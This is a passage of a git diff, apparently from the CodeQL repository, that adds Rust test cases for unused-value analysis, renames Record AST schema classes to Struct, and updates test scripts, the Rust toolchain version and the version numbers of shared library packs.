+    set_value!(a, 1);
+    use_value!(b);
+
+    match std::env::args().nth(1).unwrap().parse::<u16>() {
+        Ok(n) => {
+            use_value!(n);
+        }
+        _ => {}
+    }
+}
+
+fn macros2() {
+    let a: u16 = 3;
+    println!("{}", a);
+
+    match std::env::args().nth(1).unwrap().parse::<u16>() {
+        Ok(n) => {
+            println!("{}", n);
+        }
+        _ => {}
+    }
+}
+
+fn macros3() {
     let x;
     println!(
         "The value of x is {}",
@@ -476,8 +514,24 @@ fn macros() {
             x = 10; // $ MISSING: Alert[rust/unused-value]
             10
         })
-    )
+    );
+}
+
+macro_rules! let_in_macro {
+    ($e:expr) => {{
+        let var_in_macro = 0;
+        $e
+    }};
 }
+
+// Our analysis does not currently respect the hygiene rules of Rust macros
+// (https://veykril.github.io/tlborm/decl-macros/minutiae/hygiene.html), because
+// all we have access to is the expanded AST
+fn hygiene_mismatch() {
+    let var_in_macro = 0; // $ SPURIOUS: Alert[rust/unused-value]
+    let_in_macro!(var_in_macro);
+}
+
 // --- references ---
 
 fn references() {
@@ -505,21 +559,6 @@ trait MyTrait {
     fn my_func2(&self, x: i32) -> i32;
 }
 
-macro_rules! let_in_macro {
-    ($e:expr) => {{
-        let var_in_macro = 0;
-        $e
-    }};
-}
-
-// Our analysis does not currently respect the hygiene rules of Rust macros
-// (https://veykril.github.io/tlborm/decl-macros/minutiae/hygiene.html), because
-// all we have access to is the expanded AST
-fn hygiene_mismatch() {
-    let var_in_macro = 0; // $ SPURIOUS: Alert[rust/unused-value]
-    let_in_macro!(var_in_macro);
-}
-
 // --- main ---
 
 fn main() {
@@ -534,7 +573,10 @@ fn main() {
     shadowing();
     func_ptrs();
     folds_and_closures();
-    macros();
+    macros1();
+    macros2();
+    macros3();
+    hygiene_mismatch();
     references();
 
     generics();
diff --git a/rust/ql/test/query-tests/unusedentities/undefined_macros/main.rs b/rust/ql/test/query-tests/unusedentities/undefined_macros/main.rs
new file mode 100644
index 000000000000..5e345677254d
--- /dev/null
+++ b/rust/ql/test/query-tests/unusedentities/undefined_macros/main.rs
@@ -0,0 +1,33 @@
+
+// --- undefined macro calls ---
+
+fn undefined_macros1() {
+    let a: u16;
+
+    undefined_macro_call!(d);
+}
+
+fn undefined_macros2() {
+    {
+        let a: u16 = 1; // $ MISSING: Alert[rust/unused-value]
+    }
+
+    undefined_macro_call!(5);
+
+    let b: u16; // $ MISSING: Alert[rust/unused-variable]
+}
+
+fn undefined_macros3() {
+    match std::env::args().nth(1).unwrap().parse::<u16>() {
+        Ok(n) => {
+            undefined_macro_call!(n);
+        }
+        _ => {}
+    }
+}
+
+fn main() {
+    undefined_macros1();
+    undefined_macros2();
+    undefined_macros3();
+}
diff --git a/rust/ql/test/query-tests/unusedentities/undefined_macros/options.yml b/rust/ql/test/query-tests/unusedentities/undefined_macros/options.yml
new file mode 100644
index 000000000000..cf148dd35f86
--- /dev/null
+++ b/rust/ql/test/query-tests/unusedentities/undefined_macros/options.yml
@@ -0,0 +1 @@
+qltest_cargo_check: false
diff --git a/rust/ql/test/utils-tests/modelgenerator/CaptureSummaryModels.expected b/rust/ql/test/utils-tests/modelgenerator/CaptureSummaryModels.expected
index cb6fc390349c..b05e99f352b0 100644
--- a/rust/ql/test/utils-tests/modelgenerator/CaptureSummaryModels.expected
+++ b/rust/ql/test/utils-tests/modelgenerator/CaptureSummaryModels.expected
@@ -1,2 +1,12 @@
 unexpectedModel
+| Unexpected summary found: repo::test;<crate::option::MyOption as crate::clone::Clone>::clone;Argument[self].Field[crate::option::MyOption::MySome(0)].Reference;ReturnValue.Field[crate::option::MyOption::MySome(0)];value;dfc-generated |
+| Unexpected summary found: repo::test;<crate::option::MyOption as crate::convert::From>::from;Argument[0].Field[crate::option::MyOption::MySome(0)];ReturnValue.Field[crate::option::MyOption::MySome(0)].Reference;value;dfc-generated |
+| Unexpected summary found: repo::test;<crate::option::MyOption>::cloned;Argument[self].Field[crate::option::MyOption::MySome(0)].Reference;ReturnValue.Field[crate::option::MyOption::MySome(0)];value;dfc-generated |
+| Unexpected summary found: repo::test;<crate::option::MyOption>::get_or_insert;Argument[0];Argument[self].Field[crate::option::MyOption::MySome(0)];value;dfc-generated |
+| Unexpected summary found: repo::test;<crate::option::MyOption>::get_or_insert;Argument[self].Field[crate::option::MyOption::MySome(0)];ReturnValue.Reference;value;dfc-generated |
+| Unexpected summary found: repo::test;<crate::option::MyOption>::get_or_insert_default;Argument[self].Field[crate::option::MyOption::MySome(0)];ReturnValue.Reference;value;dfc-generated |
+| Unexpected summary found: repo::test;<crate::option::MyOption>::get_or_insert_with;Argument[self].Field[crate::option::MyOption::MySome(0)];ReturnValue.Reference;value;dfc-generated |
+| Unexpected summary found: repo::test;<crate::option::MyOption>::insert;Argument[self].Field[crate::option::MyOption::MySome(0)];ReturnValue.Reference;value;dfc-generated |
 expectedModel
+| Expected summary missing: repo::test;<crate::option::MyOption>::take_if;Argument[self].Reference.Field[crate::option::MyOption::MySome(0)];Argument[0].Parameter[0].Reference;value;dfc-generated |
+| Expected summary missing: repo::test;<crate::option::MyOption>::take_if;Argument[self].Reference;ReturnValue;value;dfc-generated |
diff --git a/rust/rust-toolchain.toml b/rust/rust-toolchain.toml
index 60bdd6fbd0d8..1b61371a926c 100644
--- a/rust/rust-toolchain.toml
+++ b/rust/rust-toolchain.toml
@@ -3,6 +3,6 @@
 # IMPORTANT: this can also have an impact on QL test results
 
 [toolchain]
-channel = "1.84"
+channel = "1.85"
 profile = "minimal"
 components = [ "clippy", "rustfmt", "rust-src" ]
diff --git a/rust/schema/annotations.py b/rust/schema/annotations.py
index 26b4a3d9a019..a5c3ff56651a 100644
--- a/rust/schema/annotations.py
+++ b/rust/schema/annotations.py
@@ -87,6 +87,7 @@ class _:
     foo::bar;
     ```
     """
+    segment: _ | ql.db_table_name("path_segments_") | doc("last segment of this path")
 
 
 @annotate(GenericArgList)
@@ -406,20 +407,20 @@ class _:
     """
 
 
-@annotate(RecordExprField)
+@annotate(StructExprField)
 class _:
     """
-    A field in a record expression. For example `a: 1` in:
+    A field in a struct expression. For example `a: 1` in:
     ```rust
     Foo { a: 1, b: 2 };
     ```
     """
 
 
-@annotate(RecordExpr, add_bases=(PathAstNode,), cfg=True)
+@annotate(StructExpr, add_bases=(PathAstNode,), cfg=True)
 class _:
     """
-    A record expression. For example:
+    A struct expression. For example:
     ```rust
     let first = Foo { a: 1, b: 2 };
     let second = Foo { a: 2, ..first };
@@ -710,20 +711,20 @@ class _:
     """
 
 
-@annotate(RecordPatField)
+@annotate(StructPatField)
 class _:
     """
-    A field in a record pattern. For example `a: 1` in:
+    A field in a struct pattern. For example `a: 1` in:
     ```rust
     let Foo { a: 1, b: 2 } = foo;
     ```
     """
 
 
-@annotate(RecordPat, add_bases=(PathAstNode,), cfg=True)
+@annotate(StructPat, add_bases=(PathAstNode,), cfg=True)
 class _:
     """
-    A record pattern. For example:
+    A struct pattern. For example:
     ```rust
     match x {
         Foo { a: 1, b: 2 } => "ok",
@@ -1031,10 +1032,11 @@ class _:
     """
 
 
+# @annotate(VariantFieldList)
 @annotate(FieldList)
 class _:
     """
-    A FieldList. For example:
+    A field of a variant. For example:
     ```rust
     todo!()
     ```
@@ -1122,9 +1124,12 @@ class _:
 @annotate(GenericParamList)
 class _:
     """
-    A GenericParamList. For example:
+    A list of generic parameters. For example:
     ```rust
-    todo!()
+    fn f<A, B>(a: A, b: B) {}
+    //  ^^^^^^
+    type Foo<T1, T2> = (T1, T2);
+    //      ^^^^^^^^
     ```
     """
 
@@ -1464,40 +1469,40 @@ class _:
     """
 
 
-@annotate(RecordExprFieldList)
+@annotate(StructExprFieldList)
 class _:
     """
-    A RecordExprFieldList. For example:
+    A StructExprFieldList. For example:
     ```rust
     todo!()
     ```
     """
 
 
-@annotate(RecordField)
+@annotate(StructField)
 class _:
     """
-    A RecordField. For example:
+    A StructField. For example:
     ```rust
     todo!()
     ```
     """
 
 
-@annotate(RecordFieldList)
+@annotate(StructFieldList)
 class _:
     """
-    A RecordFieldList. For example:
+    A field list of a struct expression. For example:
     ```rust
     todo!()
     ```
     """
 
 
-@annotate(RecordPatFieldList)
+@annotate(StructPatFieldList)
 class _:
     """
-    A RecordPatFieldList. For example:
+    A StructPatFieldList. For example:
     ```rust
     todo!()
     ```
@@ -1622,6 +1627,7 @@ class _:
     todo!()
     ```
     """
+    field_list: _ | ql.db_table_name("struct_field_lists_")
 
 
 @annotate(TokenTree)
@@ -1704,9 +1710,14 @@ class _:
 @annotate(TypeAlias)
 class _:
     """
-    A TypeAlias. For example:
+    A type alias. For example:
     ```rust
-    todo!()
+    type Point = (u8, u8);
+
+    trait Trait {
+        type Output;
+    //  ^^^^^^^^^^^
+    }
     ```
     """
 
@@ -1794,7 +1805,7 @@ class _:
     """
 
 
-@annotate(Variant, replace_bases={AstNode: Addressable})
+@annotate(Variant, add_bases=(Addressable,))
 class _:
     """
     A Variant. For example:
diff --git a/rust/schema/ast.py b/rust/schema/ast.py
index d987cbb26a6f..e5be9e1a0a0f 100644
--- a/rust/schema/ast.py
+++ b/rust/schema/ast.py
@@ -38,6 +38,9 @@ class TypeRepr(AstNode, ):
 class UseBoundGenericArg(AstNode, ):
     pass
 
+class VariantDef(AstNode, ):
+    pass
+
 class Item(Stmt, ):
     pass
 
@@ -94,7 +97,7 @@ class AsmRegOperand(AsmOperand, ):
     asm_reg_spec: optional["AsmRegSpec"] | child
 
 class AsmRegSpec(AstNode, ):
-    name_ref: optional["NameRef"] | child
+    identifier: optional["NameRef"] | child
 
 class AsmSym(AsmOperand, ):
     path: optional["Path"] | child
@@ -106,7 +109,7 @@ class AssocItemList(AstNode, ):
 class AssocTypeArg(GenericArg, ):
     const_arg: optional["ConstArg"] | child
     generic_arg_list: optional["GenericArgList"] | child
-    name_ref: optional["NameRef"] | child
+    identifier: optional["NameRef"] | child
     param_list: optional["ParamList"] | child
     ret_type: optional["RetTypeRepr"] | child
     return_type_syntax: optional["ReturnTypeSyntax"] | child
@@ -223,7 +226,7 @@ class ExternBlock(Item, ):
 
 class ExternCrate(Item, ):
     attrs: list["Attr"] | child
-    name_ref: optional["NameRef"] | child
+    identifier: optional["NameRef"] | child
     rename: optional["Rename"] | child
     visibility: optional["Visibility"] | child
 
@@ -233,8 +236,8 @@ class ExternItemList(AstNode, ):
 
 class FieldExpr(Expr, ):
     attrs: list["Attr"] | child
-    expr: optional["Expr"] | child
-    name_ref: optional["NameRef"] | child
+    container: optional["Expr"] | child
+    identifier: optional["NameRef"] | child
 
 class Function(AssocItem, ExternItem, Item, ):
     abi: optional["Abi"] | child
@@ -429,7 +432,7 @@ class MethodCallExpr(Expr, ):
     arg_list: optional["ArgList"] | child
     attrs: list["Attr"] | child
     generic_arg_list: optional["GenericArgList"] | child
-    name_ref: optional["NameRef"] | child
+    identifier: optional["NameRef"] | child
     receiver: optional["Expr"] | child
 
 class Module(Item, ):
@@ -479,7 +482,7 @@ class ParenthesizedArgList(AstNode, ):
 
 class Path(AstNode, ):
     qualifier: optional["Path"] | child
-    part: optional["PathSegment"] | child
+    segment: optional["PathSegment"] | child
 
 class PathExpr(Expr, ):
     attrs: list["Attr"] | child
@@ -490,7 +493,7 @@ class PathPat(Pat, ):
 
 class PathSegment(AstNode, ):
     generic_arg_list: optional["GenericArgList"] | child
-    name_ref: optional["NameRef"] | child
+    identifier: optional["NameRef"] | child
     parenthesized_arg_list: optional["ParenthesizedArgList"] | child
     ret_type: optional["RetTypeRepr"] | child
     return_type_syntax: optional["ReturnTypeSyntax"] | child
@@ -519,40 +522,41 @@ class RangePat(Pat, ):
     operator_name: optional[string]
     start: optional["Pat"] | child
 
-class RecordExpr(Expr, ):
+class StructExpr(Expr, ):
     path: optional["Path"] | child
-    record_expr_field_list: optional["RecordExprFieldList"] | child
+    struct_expr_field_list: optional["StructExprFieldList"] | child
 
-class RecordExprField(AstNode, ):
+class StructExprField(AstNode, ):
     attrs: list["Attr"] | child
     expr: optional["Expr"] | child
-    name_ref: optional["NameRef"] | child
+    identifier: optional["NameRef"] | child
 
-class RecordExprFieldList(AstNode, ):
+class StructExprFieldList(AstNode, ):
     attrs: list["Attr"] | child
-    fields: list["RecordExprField"] | child
+    fields: list["StructExprField"] | child
     spread: optional["Expr"] | child
 
-class RecordField(AstNode, ):
+class StructField(AstNode, ):
     attrs: list["Attr"] | child
+    default: optional["Expr"] | child
     name: optional["Name"] | child
     type_repr: optional["TypeRepr"] | child
     visibility: optional["Visibility"] | child
 
-class RecordFieldList(FieldList, ):
-    fields: list["RecordField"] | child
+class StructFieldList(FieldList, ):
+    fields: list["StructField"] | child
 
-class RecordPat(Pat, ):
+class StructPat(Pat, ):
     path: optional["Path"] | child
-    record_pat_field_list: optional["RecordPatFieldList"] | child
+    struct_pat_field_list: optional["StructPatFieldList"] | child
 
-class RecordPatField(AstNode, ):
+class StructPatField(AstNode, ):
     attrs: list["Attr"] | child
-    name_ref: optional["NameRef"] | child
+    identifier: optional["NameRef"] | child
     pat: optional["Pat"] | child
 
-class RecordPatFieldList(AstNode, ):
-    fields: list["RecordPatField"] | child
+class StructPatFieldList(AstNode, ):
+    fields: list["StructPatField"] | child
     rest_pat: optional["RestPat"] | child
 
 class RefExpr(Expr, ):
@@ -620,7 +624,7 @@ class StmtList(AstNode, ):
     statements: list["Stmt"] | child
     tail_expr: optional["Expr"] | child
 
-class Struct(Item, ):
+class Struct(Item, VariantDef, ):
     attrs: list["Attr"] | child
     field_list: optional["FieldList"] | child
     generic_param_list: optional["GenericParamList"] | child
@@ -708,11 +712,11 @@ class TypeParam(GenericParam, ):
 class UnderscoreExpr(Expr, ):
     attrs: list["Attr"] | child
 
-class Union(Item, ):
+class Union(Item, VariantDef, ):
     attrs: list["Attr"] | child
     generic_param_list: optional["GenericParamList"] | child
     name: optional["Name"] | child
-    record_field_list: optional["RecordFieldList"] | child
+    struct_field_list: optional["StructFieldList"] | child
     visibility: optional["Visibility"] | child
     where_clause: optional["WhereClause"] | child
 
@@ -733,9 +737,9 @@ class UseTree(AstNode, ):
 class UseTreeList(AstNode, ):
     use_trees: list["UseTree"] | child
 
-class Variant(AstNode, ):
+class Variant(VariantDef, ):
     attrs: list["Attr"] | child
-    expr: optional["Expr"] | child
+    discriminant: optional["Expr"] | child
     field_list: optional["FieldList"] | child
     name: optional["Name"] | child
     visibility: optional["Visibility"] | child
diff --git a/rust/schema/prelude.py b/rust/schema/prelude.py
index c0637826fa25..5fc4aba2e1ad 100644
--- a/rust/schema/prelude.py
+++ b/rust/schema/prelude.py
@@ -5,6 +5,7 @@
 
 File = imported("File", "codeql.files.FileSystem")
 
+
 @qltest.skip
 class Element:
     pass
@@ -85,7 +86,8 @@ class Addressable(AstNode):
         or `{<block id>}::name` for addressable items defined in an anonymous block (and only
         addressable there-in).
     """) | rust.detach | ql.internal
-    crate_origin: optional[string] | desc("One of `rustc:<name>`, `repo:<repository>:<name>` or `lang:<name>`.") | rust.detach | ql.internal
+    crate_origin: optional[string] | desc(
+        "One of `rustc:<name>`, `repo:<repository>:<name>` or `lang:<name>`.") | rust.detach | ql.internal
 
 
 class Resolvable(AstNode):
@@ -109,3 +111,18 @@ class ExtractorStep(Element):
     action: string
     file: optional[File]
     duration_ms: int
+
+
+class Crate(Locatable):
+    name: optional[string]
+    version: optional[string]
+    module: optional["Module"]
+    cfg_options: list[string]
+    named_dependencies: list["NamedCrate"] | ql.internal
+
+
+@qltest.skip
+@ql.internal
+class NamedCrate(Element):
+    name: string
+    crate: "Crate"
diff --git a/rust/tools/qltest.cmd b/rust/tools/qltest.cmd
index 72c9911d7d4b..1133c48627d7 100644
--- a/rust/tools/qltest.cmd
+++ b/rust/tools/qltest.cmd
@@ -3,7 +3,7 @@
 set "RUST_BACKTRACE=full"
 set "QLTEST_LOG=%CODEQL_EXTRACTOR_RUST_LOG_DIR%/qltest.log"
 
-type NUL && "%CODEQL_EXTRACTOR_RUST_ROOT%/tools/%CODEQL_PLATFORM%/extractor" --qltest >"%QLTEST_LOG%" 2>&1
+type NUL && "%CODEQL_EXTRACTOR_RUST_ROOT%/tools/%CODEQL_PLATFORM%/extractor" --qltest --logging-verbosity=progress+ >"%QLTEST_LOG%" 2>&1
 
 if %ERRORLEVEL% neq 0 (
     type "%QLTEST_LOG%"
diff --git a/rust/tools/qltest.sh b/rust/tools/qltest.sh
index 1d5868263146..0eccf5a73087 100755
--- a/rust/tools/qltest.sh
+++ b/rust/tools/qltest.sh
@@ -1,10 +1,21 @@
 #!/bin/bash
 
 set -eu
+set -o pipefail
 
 export RUST_BACKTRACE=full
-QLTEST_LOG="$CODEQL_EXTRACTOR_RUST_LOG_DIR"/qltest.log
-if ! "$CODEQL_EXTRACTOR_RUST_ROOT/tools/$CODEQL_PLATFORM/extractor" --qltest >> "$QLTEST_LOG" 2>&1; then
-  cat "$QLTEST_LOG"
+QLTEST_LOG="$CODEQL_EXTRACTOR_RUST_LOG_DIR/qltest.log"
+QLTEST_COLORED_LOG="$CODEQL_EXTRACTOR_RUST_SCRATCH_DIR/qltest.log"
+dirname "$QLTEST_LOG" "$QLTEST_COLORED_LOG" | xargs mkdir -p
+# put full-color output on the side, but remove the color codes from the log file
+# also, print (colored) output only in case of failure
+if ! "$CODEQL_EXTRACTOR_RUST_ROOT/tools/$CODEQL_PLATFORM/extractor" \
+     --qltest \
+     --logging-verbosity=progress+ \
+     2>&1 \
+     | tee "$QLTEST_COLORED_LOG" \
+     | sed 's/\x1B\[[0-9;]\{1,\}[A-Za-z]//g' \
+     > "$QLTEST_LOG"; then
+  cat "$QLTEST_COLORED_LOG"
   exit 1
 fi
diff --git a/shared/controlflow/CHANGELOG.md b/shared/controlflow/CHANGELOG.md
index 234a79df339b..06ae926fe116 100644
--- a/shared/controlflow/CHANGELOG.md
+++ b/shared/controlflow/CHANGELOG.md
@@ -1,3 +1,7 @@
+## 2.0.4
+
+No user-facing changes.
+
 ## 2.0.3
 
 No user-facing changes.
diff --git a/shared/controlflow/change-notes/released/2.0.4.md b/shared/controlflow/change-notes/released/2.0.4.md
new file mode 100644
index 000000000000..8e002b6db642
--- /dev/null
+++ b/shared/controlflow/change-notes/released/2.0.4.md
@@ -0,0 +1,3 @@
+## 2.0.4
+
+No user-facing changes.
diff --git a/shared/controlflow/codeql-pack.release.yml b/shared/controlflow/codeql-pack.release.yml
index fabf1e865966..0f306f8bd3bd 100644
--- a/shared/controlflow/codeql-pack.release.yml
+++ b/shared/controlflow/codeql-pack.release.yml
@@ -1,2 +1,2 @@
 ---
-lastReleaseVersion: 2.0.3
+lastReleaseVersion: 2.0.4
diff --git a/shared/controlflow/qlpack.yml b/shared/controlflow/qlpack.yml
index 066db1ac1dcb..8b0b8d6e05ae 100644
--- a/shared/controlflow/qlpack.yml
+++ b/shared/controlflow/qlpack.yml
@@ -1,5 +1,5 @@
 name: codeql/controlflow
-version: 2.0.3
+version: 2.0.4
 groups: shared
 library: true
 dependencies:
diff --git a/shared/dataflow/CHANGELOG.md b/shared/dataflow/CHANGELOG.md
index 8bffa581e57d..19d6b3ed9099 100644
--- a/shared/dataflow/CHANGELOG.md
+++ b/shared/dataflow/CHANGELOG.md
@@ -1,3 +1,7 @@
+## 2.0.4
+
+No user-facing changes.
+
 ## 2.0.3
 
 No user-facing changes.
diff --git a/shared/dataflow/change-notes/released/2.0.4.md b/shared/dataflow/change-notes/released/2.0.4.md
new file mode 100644
index 000000000000..8e002b6db642
--- /dev/null
+++ b/shared/dataflow/change-notes/released/2.0.4.md
@@ -0,0 +1,3 @@
+## 2.0.4
+
+No user-facing changes.
diff --git a/shared/dataflow/codeql-pack.release.yml b/shared/dataflow/codeql-pack.release.yml
index fabf1e865966..0f306f8bd3bd 100644
--- a/shared/dataflow/codeql-pack.release.yml
+++ b/shared/dataflow/codeql-pack.release.yml
@@ -1,2 +1,2 @@
 ---
-lastReleaseVersion: 2.0.3
+lastReleaseVersion: 2.0.4
diff --git a/shared/dataflow/qlpack.yml b/shared/dataflow/qlpack.yml
index 4eb2a6f2a94e..cb4f087f1432 100644
--- a/shared/dataflow/qlpack.yml
+++ b/shared/dataflow/qlpack.yml
@@ -1,5 +1,5 @@
 name: codeql/dataflow
-version: 2.0.3
+version: 2.0.4
 groups: shared
 library: true
 dependencies:
diff --git a/shared/mad/CHANGELOG.md b/shared/mad/CHANGELOG.md
index e9f3aba90f55..428eb375a90d 100644
--- a/shared/mad/CHANGELOG.md
+++ b/shared/mad/CHANGELOG.md
@@ -1,3 +1,7 @@
+## 1.0.20
+
+No user-facing changes.
+
 ## 1.0.19
 
 No user-facing changes.
diff --git a/shared/mad/change-notes/released/1.0.20.md b/shared/mad/change-notes/released/1.0.20.md
new file mode 100644
index 000000000000..5fc76269ab27
--- /dev/null
+++ b/shared/mad/change-notes/released/1.0.20.md
@@ -0,0 +1,3 @@
+## 1.0.20
+
+No user-facing changes.
diff --git a/shared/mad/codeql-pack.release.yml b/shared/mad/codeql-pack.release.yml
index e15e0d267b0a..7af2d1347ffc 100644
--- a/shared/mad/codeql-pack.release.yml
+++ b/shared/mad/codeql-pack.release.yml
@@ -1,2 +1,2 @@
 ---
-lastReleaseVersion: 1.0.19
+lastReleaseVersion: 1.0.20
diff --git a/shared/mad/codeql/mad/ModelValidation.qll b/shared/mad/codeql/mad/ModelValidation.qll
index 012e255580a0..4c1d6793d652 100644
--- a/shared/mad/codeql/mad/ModelValidation.qll
+++ b/shared/mad/codeql/mad/ModelValidation.qll
@@ -125,7 +125,7 @@ module KindValidation<KindValidationConfigSig Config> {
           // C#
           "file-write", "windows-registry",
           // JavaScript
-          "database-access-result"
+          "database-access-result", "response", "request"
         ]
       or
       this.matches([
diff --git a/shared/mad/codeql/mad/modelgenerator/internal/ModelGeneratorImpl.qll b/shared/mad/codeql/mad/modelgenerator/internal/ModelGeneratorImpl.qll
index 64b5b0c3b1f9..0678d07e7f47 100644
--- a/shared/mad/codeql/mad/modelgenerator/internal/ModelGeneratorImpl.qll
+++ b/shared/mad/codeql/mad/modelgenerator/internal/ModelGeneratorImpl.qll
@@ -221,6 +221,11 @@ signature module ModelGeneratorInputSig<LocationSig Location, InputSig<Location>
    */
   string printContent(Lang::ContentSet c);
 
+  /**
+   * Gets the parameter position of the return kind, if any.
+   */
+  default Lang::ParameterPosition getReturnKindParamPosition(Lang::ReturnKind node) { none() }
+
   /**
    * Holds if it is irrelevant to generate models for `api` based on data flow analysis.
    *
@@ -301,6 +306,14 @@ module MakeModelGenerator<
      * Gets the kind of the return node.
      */
     DataFlow::ReturnKindExt getKind() { result = kind }
+
+    /**
+     * Gets the parameter position of the return node, if any.
+     */
+    DataFlow::ParameterPosition getPosition() {
+      result = this.getKind().(DataFlow::ParamUpdateReturnKind).getPosition() or
+      result = getReturnKindParamPosition(this.getKind().(DataFlow::ValueReturnKind).getKind())
+    }
   }
 
   bindingset[c]
@@ -309,10 +322,11 @@ module MakeModelGenerator<
   private module PrintReturnNodeExt<printCallableParamSig/2 printCallableParam> {
     string getOutput(ReturnNodeExt node) {
       node.getKind() instanceof DataFlow::ValueReturnKind and
+      not exists(node.getPosition()) and
       result = "ReturnValue"
       or
       exists(DataFlow::ParameterPosition pos |
-        pos = node.getKind().(DataFlow::ParamUpdateReturnKind).getPosition() and
+        pos = node.getPosition() and
         result = printCallableParam(returnNodeEnclosingCallable(node), pos)
       )
     }
diff --git a/shared/mad/qlpack.yml b/shared/mad/qlpack.yml
index 9b3f164c17ea..d5b498e369ef 100644
--- a/shared/mad/qlpack.yml
+++ b/shared/mad/qlpack.yml
@@ -1,5 +1,5 @@
 name: codeql/mad
-version: 1.0.19
+version: 1.0.20
 groups: shared
 library: true
 dependencies:
diff --git a/shared/rangeanalysis/CHANGELOG.md b/shared/rangeanalysis/CHANGELOG.md
index 8cbc1671c892..8ca74122cc45 100644
--- a/shared/rangeanalysis/CHANGELOG.md
+++ b/shared/rangeanalysis/CHANGELOG.md
@@ -1,3 +1,7 @@
+## 1.0.20
+
+No user-facing changes.
+
 ## 1.0.19
 
 No user-facing changes.
diff --git a/shared/rangeanalysis/change-notes/released/1.0.20.md b/shared/rangeanalysis/change-notes/released/1.0.20.md
new file mode 100644
index 000000000000..5fc76269ab27
--- /dev/null
+++ b/shared/rangeanalysis/change-notes/released/1.0.20.md
@@ -0,0 +1,3 @@
+## 1.0.20
+
+No user-facing changes.
diff --git a/shared/rangeanalysis/codeql-pack.release.yml b/shared/rangeanalysis/codeql-pack.release.yml
index e15e0d267b0a..7af2d1347ffc 100644
--- a/shared/rangeanalysis/codeql-pack.release.yml
+++ b/shared/rangeanalysis/codeql-pack.release.yml
@@ -1,2 +1,2 @@
 ---
-lastReleaseVersion: 1.0.19
+lastReleaseVersion: 1.0.20
diff --git a/shared/rangeanalysis/qlpack.yml b/shared/rangeanalysis/qlpack.yml
index 7c01bfc69f63..544e541bc32d 100644
--- a/shared/rangeanalysis/qlpack.yml
+++ b/shared/rangeanalysis/qlpack.yml
@@ -1,5 +1,5 @@
 name: codeql/rangeanalysis
-version: 1.0.19
+version: 1.0.20
 groups: shared
 library: true
 dependencies:
diff --git a/shared/regex/CHANGELOG.md b/shared/regex/CHANGELOG.md
index 1e1547b2f9d9..06d3215edb5a 100644
--- a/shared/regex/CHANGELOG.md
+++ b/shared/regex/CHANGELOG.md
@@ -1,3 +1,7 @@
+## 1.0.20
+
+No user-facing changes.
+
 ## 1.0.19
 
 No user-facing changes.
diff --git a/shared/regex/change-notes/released/1.0.20.md b/shared/regex/change-notes/released/1.0.20.md
new file mode 100644
index 000000000000..5fc76269ab27
--- /dev/null
+++ b/shared/regex/change-notes/released/1.0.20.md
@@ -0,0 +1,3 @@
+## 1.0.20
+
+No user-facing changes.
diff --git a/shared/regex/codeql-pack.release.yml b/shared/regex/codeql-pack.release.yml
index e15e0d267b0a..7af2d1347ffc 100644
--- a/shared/regex/codeql-pack.release.yml
+++ b/shared/regex/codeql-pack.release.yml
@@ -1,2 +1,2 @@
 ---
-lastReleaseVersion: 1.0.19
+lastReleaseVersion: 1.0.20
diff --git a/shared/regex/qlpack.yml b/shared/regex/qlpack.yml
index 29bb7e21d489..a9950725bb85 100644
--- a/shared/regex/qlpack.yml
+++ b/shared/regex/qlpack.yml
@@ -1,5 +1,5 @@
 name: codeql/regex
-version: 1.0.19
+version: 1.0.20
 groups: shared
 library: true
 dependencies:
diff --git a/shared/ssa/CHANGELOG.md b/shared/ssa/CHANGELOG.md
index 55580824a9b9..fb40fb4db741 100644
--- a/shared/ssa/CHANGELOG.md
+++ b/shared/ssa/CHANGELOG.md
@@ -1,3 +1,7 @@
+## 1.0.20
+
+No user-facing changes.
+
 ## 1.0.19
 
 No user-facing changes.
diff --git a/shared/ssa/change-notes/released/1.0.20.md b/shared/ssa/change-notes/released/1.0.20.md
new file mode 100644
index 000000000000..5fc76269ab27
--- /dev/null
+++ b/shared/ssa/change-notes/released/1.0.20.md
@@ -0,0 +1,3 @@
+## 1.0.20
+
+No user-facing changes.
diff --git a/shared/ssa/codeql-pack.release.yml b/shared/ssa/codeql-pack.release.yml
index e15e0d267b0a..7af2d1347ffc 100644
--- a/shared/ssa/codeql-pack.release.yml
+++ b/shared/ssa/codeql-pack.release.yml
@@ -1,2 +1,2 @@
 ---
-lastReleaseVersion: 1.0.19
+lastReleaseVersion: 1.0.20
diff --git a/shared/ssa/codeql/ssa/Ssa.qll b/shared/ssa/codeql/ssa/Ssa.qll
index bdf571923737..2bbdb6e2a478 100644
--- a/shared/ssa/codeql/ssa/Ssa.qll
+++ b/shared/ssa/codeql/ssa/Ssa.qll
@@ -307,6 +307,7 @@ module Make<LocationSig Location, InputSig<Location> Input> {
   private predicate inReadDominanceFrontier(BasicBlock bb, SourceVariable v) {
     exists(BasicBlock readbb | inDominanceFrontier(readbb, bb) |
       ssaDefReachesRead(v, _, readbb, _) and
+      variableRead(readbb, _, v, true) and
       not variableWrite(readbb, _, v, _)
       or
       synthPhiRead(readbb, v) and
@@ -1256,11 +1257,7 @@ module Make<LocationSig Location, InputSig<Location> Input> {
     string toString() { result = this.(Definition).toString() }
 
     /** Gets the location of this SSA definition. */
-    Location getLocation() {
-      exists(BasicBlock bb, int i | this.definesAt(_, bb, i, _) |
-        if i = -1 then result = bb.getLocation() else result = bb.getNode(i).getLocation()
-      )
-    }
+    Location getLocation() { result = this.(Definition).getLocation() }
   }
 
   /**
@@ -1346,70 +1343,34 @@ module Make<LocationSig Location, InputSig<Location> Input> {
    */
   class PhiReadNode extends DefinitionExt, TPhiReadNode {
     override string toString() { result = "SSA phi read(" + this.getSourceVariable() + ")" }
+
+    override Location getLocation() { result = this.getBasicBlock().getLocation() }
   }
 
   /** Provides a set of consistency queries. */
   module Consistency {
-    /** A definition that is relevant for the consistency queries. */
-    abstract class RelevantDefinition extends Definition {
-      /** Override this predicate to ensure locations in consistency results. */
-      abstract predicate hasLocationInfo(
-        string filepath, int startline, int startcolumn, int endline, int endcolumn
-      );
-    }
-
-    /** A definition that is relevant for the consistency queries. */
-    abstract class RelevantDefinitionExt extends DefinitionExt {
-      /** Override this predicate to ensure locations in consistency results. */
-      abstract predicate hasLocationInfo(
-        string filepath, int startline, int startcolumn, int endline, int endcolumn
-      );
-    }
-
     /** Holds if a read can be reached from multiple definitions. */
-    query predicate nonUniqueDef(RelevantDefinition def, SourceVariable v, BasicBlock bb, int i) {
+    query predicate nonUniqueDef(Definition def, SourceVariable v, BasicBlock bb, int i) {
       ssaDefReachesRead(v, def, bb, i) and
       not exists(unique(Definition def0 | ssaDefReachesRead(v, def0, bb, i)))
     }
 
-    /** Holds if a read can be reached from multiple definitions. */
-    query predicate nonUniqueDefExt(
